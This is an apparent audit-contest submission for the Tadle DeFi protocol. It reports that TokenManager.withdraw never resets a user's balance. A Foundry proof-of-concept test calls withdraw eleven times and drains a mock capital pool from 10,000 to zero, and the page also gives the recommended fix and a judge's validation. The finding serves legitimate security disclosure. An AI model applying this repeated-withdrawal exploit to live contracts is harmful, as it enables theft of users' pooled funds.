Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Withdrawal does not update the balance

fyamf

Summary

During withdrawing, the balance is not updated, providing an easy opportunity for a malicious user to withdraw multiple of times to drain the protocol.

Vulnerability Details

When withdrawing, the balance is not updated. So it is possible to withdraw multiple of times to drain the protocol.
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L137

PoC

In the following test, it is assumed that the capital pool holds $10k and the attacker holds $1k. Then the attacker creates an ask offer to buy 1 point for $1k. Then the attacker closes her offer. By doing so, the attacker can withdraw her deposited amount. Since during withdrawal, the attacker's balance is not updated, the attacker calls this function 11 times to drain the capital pool. The output shows the attacker's balance before and after.

function test_withdraw_multiple() public {
// assuming that the pool holds $10k already
deal(address(mockUSDCToken), address(capitalPool), 10_000 * 10 ** 18);
// pool approves the token manager
capitalPool.approve(address(mockUSDCToken));
​
address Attacker = vm.addr(10); // maker
​
////// Attacker(maker) creates an ask offer
vm.startPrank(Attacker);
// assuming attacker holds $1k already
deal(address(mockUSDCToken), Attacker, 1000 * 10 ** 18);
​
uint attackerBalanceBefore = mockUSDCToken.balanceOf(Attacker);
uint poolBalanceBefore = mockUSDCToken.balanceOf(address(capitalPool));
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1,
1000 * 1e18,
10000,
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
////// Attacker closes her offer
address stock0Addr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.closeOffer(stock0Addr, offerAddr);
​
for (uint i = 0; i < 11; ++i) {
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
}
​
vm.stopPrank();
/////////////
​
uint attackerBalanceAfter = mockUSDCToken.balanceOf(Attacker);
uint poolBalanceAfter = mockUSDCToken.balanceOf(address(capitalPool));
​
console.log("Attacker's balance before: \t", attackerBalanceBefore);
console.log("Attacker's balance after: \t", attackerBalanceAfter);
console.log("Pool's balance before: \t", poolBalanceBefore);
console.log("Pool's balance after: \t", poolBalanceAfter);
}

The output is:

Logs:
Attacker's balance before: 1000000000000000000000
Attacker's balance after: 11000000000000000000000
Pool's balance before: 10000000000000000000000
Pool's balance after: 0

Impact

  • draining the protocol.

Tools Used

Recommendations

The balance should be updated:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
//.....
​
userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType] = 0;
​
//.....
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L137

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.